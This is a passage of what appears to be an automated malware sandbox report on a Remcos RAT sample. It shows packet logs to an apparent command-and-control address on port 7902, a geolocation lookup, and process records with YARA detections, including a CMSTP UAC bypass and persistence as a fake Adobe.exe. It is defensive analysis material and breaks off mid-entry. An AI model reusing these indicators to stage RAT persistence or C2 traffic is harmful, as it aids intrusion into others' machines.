                                                                                                                            Oct 16, 2024 05:32:14.162100077 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.162147999 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.162182093 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162314892 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162343979 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162377119 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162379980 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.162410975 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162444115 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.162461996 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162511110 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162549019 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.162650108 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162699938 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162731886 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162738085 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.162764072 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.162811995 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.163103104 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163151026 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163183928 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163188934 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.163216114 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163249016 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163252115 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.163341045 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.163636923 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163686037 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163718939 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163752079 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163759947 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.163786888 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163819075 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.163861990 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.163862944 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.164258957 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.164360046 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.164583921 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.206218958 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.206254005 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.206286907 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.206307888 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.254566908 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.254585028 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.254596949 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.254678011 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.254700899 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280040979 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280054092 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280071020 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280177116 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280213118 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280222893 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280234098 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280263901 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280344963 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280390978 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280400991 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280466080 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280514002 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280524969 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280534983 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280544996 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280595064 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280595064 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280870914 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280888081 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280900002 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280910015 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280920982 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.280936956 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.280966997 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.281462908 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281476021 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281486034 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281513929 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281517982 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.281517982 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.281527996 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281538963 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281548977 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281560898 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.281574011 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.281611919 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.282181025 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.282197952 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.282208920 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.282233953 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.282234907 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.325393915 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.325432062 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.325484037 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.325503111 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.367413044 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.372461081 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.372489929 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.372523069 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.372551918 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.372555017 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.373080015 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.397701025 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397713900 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397725105 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397736073 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397747040 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397757053 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397763014 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397783995 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.397802114 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.397814989 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397825003 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397835016 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397845984 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.397872925 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.397872925 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398032904 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398044109 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398087978 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398142099 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398154974 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398164988 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398175001 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398216963 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398216963 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398483038 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398494959 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398504972 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398542881 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398546934 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398551941 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398559093 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398569107 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398580074 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398590088 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.398627043 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.398627043 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.399111032 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.399122953 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.399133921 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.399178028 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.399178028 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.399298906 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.399310112 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.399319887 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.399382114 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.442913055 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.442924976 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.442934990 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.443336010 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.489828110 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.489840984 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.489850998 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.489903927 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.515019894 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515043974 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515059948 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515069962 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515081882 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515094042 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515167952 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515181065 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.515191078 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:14.515382051 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:14.569298983 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:15.734240055 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:15.739398956 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739413023 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739423037 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739443064 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739450932 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739459991 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739469051 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739487886 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739499092 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.739499092 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:15.739516973 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744410992 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744421005 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744427919 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744503021 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744512081 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744520903 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.744822979 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:15.745444059 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:32.037137985 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:32.038705111 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:32.043593884 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:33:02.041340113 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:33:02.084969044 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:33:02.178415060 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:33:02.183479071 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:33:32.080143929 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:33:32.116516113 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:33:32.121355057 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:33:59.507484913 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:33:59.819467068 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:34:00.428819895 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:34:01.632101059 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:34:02.197309017 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:34:02.202017069 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:34:02.206837893 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:34:04.038173914 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:34:08.850801945 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:34:18.460115910 CEST4973780192.168.2.4178.237.33.50
                                                                                                                            Oct 16, 2024 05:34:32.201476097 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:34:32.208182096 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:34:32.213012934 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:35:02.236373901 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:35:02.238965988 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:35:02.243904114 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:35:32.276982069 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:35:32.279669046 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:35:32.284565926 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:36:02.317852020 CEST790249733104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:36:02.321472883 CEST497337902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:36:02.326741934 CEST790249733104.250.180.178192.168.2.4

                                                                                                                            UDP Packets

                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                            Oct 16, 2024 05:32:09.532557964 CEST5018553192.168.2.41.1.1.1
                                                                                                                            Oct 16, 2024 05:32:09.540483952 CEST53501851.1.1.1192.168.2.4

                                                                                                                            DNS Queries

                                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                            Oct 16, 2024 05:32:09.532557964 CEST192.168.2.41.1.1.10x3800Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                                                            DNS Answers

                                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                            Oct 16, 2024 05:32:09.540483952 CEST1.1.1.1192.168.2.40x3800No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                                                                                            HTTP Request Dependency Graph

                                                                                                                            • geoplugin.net

                                                                                                                            HTTP Packets

                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                            0192.168.2.449737178.237.33.50807224C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                            Oct 16, 2024 05:32:09.551311970 CEST71OUTGET /json.gp HTTP/1.1
                                                                                                                            Host: geoplugin.net
                                                                                                                            Cache-Control: no-cache
                                                                                                                            Oct 16, 2024 05:32:10.404460907 CEST1164INHTTP/1.1 200 OK
                                                                                                                            date: Wed, 16 Oct 2024 03:32:10 GMT
                                                                                                                            server: Apache
                                                                                                                            content-length: 956
                                                                                                                            content-type: application/json; charset=utf-8
                                                                                                                            cache-control: public, max-age=300
                                                                                                                            access-control-allow-origin: *
                                                                                                                            Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 44 61 6c 6c 61 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 0a 20 20 22 67 65 6f 70 6c [TRUNCATED]
                                                                                                                            Data Ascii: { "geoplugin_request":"155.94.241.186", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Dallas", "geoplugin_region":"Texas", "geoplugin_regionCode":"TX", "geoplugin_regionName":"Texas", "geoplugin_areaCode":"", "geoplugin_dmaCode":"623", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"32.8137", "geoplugin_longitude":"-96.8704", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/Chicago", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                                                            Statistics

                                                                                                                            CPU Usage

                                                                                                                            Click to jump to process

                                                                                                                            Memory Usage

                                                                                                                            Click to jump to process

                                                                                                                            High Level Behavior Distribution

                                                                                                                            Click to dive into process behavior distribution

                                                                                                                            Behavior

                                                                                                                            Click to jump to process

                                                                                                                            System Behavior

                                                                                                                            General

                                                                                                                            Target ID:0
                                                                                                                            Start time:23:32:02
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\Users\user\Desktop\rSOD219ISF-____.scr.exe"
                                                                                                                            Imagebase:0x430000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:2
                                                                                                                            Start time:23:32:04
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\Users\user\Desktop\rSOD219ISF-____.scr.exe"
                                                                                                                            Imagebase:0x760000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Yara matches:
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000002.00000002.1731258252.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                            • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                            • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                            • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:3
                                                                                                                            Start time:23:32:04
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                                                            Wow64 process (32bit):true
                                                                                                                            Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                                                            Imagebase:0xd20000
                                                                                                                            File size:940'032 bytes
                                                                                                                            MD5 hash:C50245598F59F8EF84262DD0D82D6E53
                                                                                                                            Has elevated privileges:true
                                                                                                                            Has administrator privileges:true
                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                            Antivirus matches:
                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                            • Detection: 26%, ReversingLabs
                                                                                                                            Reputation:low
                                                                                                                            Has exited:true

                                                                                                                            General

                                                                                                                            Target ID:4
                                                                                                                            Start time:23:32:05
                                                                                                                            Start date:15/10/2024
                                                                                                                            Path:C:\ProgramData\Adobe\Adobe.exe
